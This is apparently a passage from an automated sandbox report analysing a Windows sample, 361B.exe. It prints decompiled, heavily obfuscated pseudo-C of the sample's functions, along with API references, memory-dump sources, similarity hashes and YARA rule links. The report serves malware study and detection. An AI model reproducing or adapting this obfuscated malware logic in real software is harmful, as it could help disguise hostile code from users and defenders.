				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000C.00000002.813337107.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000C.00000002.813337107.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 361B.exe PID: 6612 Parent PID: 3424 361B.exeCOMMON

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93b64426a156402a95ff0fdf8dffaa50e93a2b189a2c691c1db155ec174cc7e
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: b93b64426a156402a95ff0fdf8dffaa50e93a2b189a2c691c1db155ec174cc7e
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
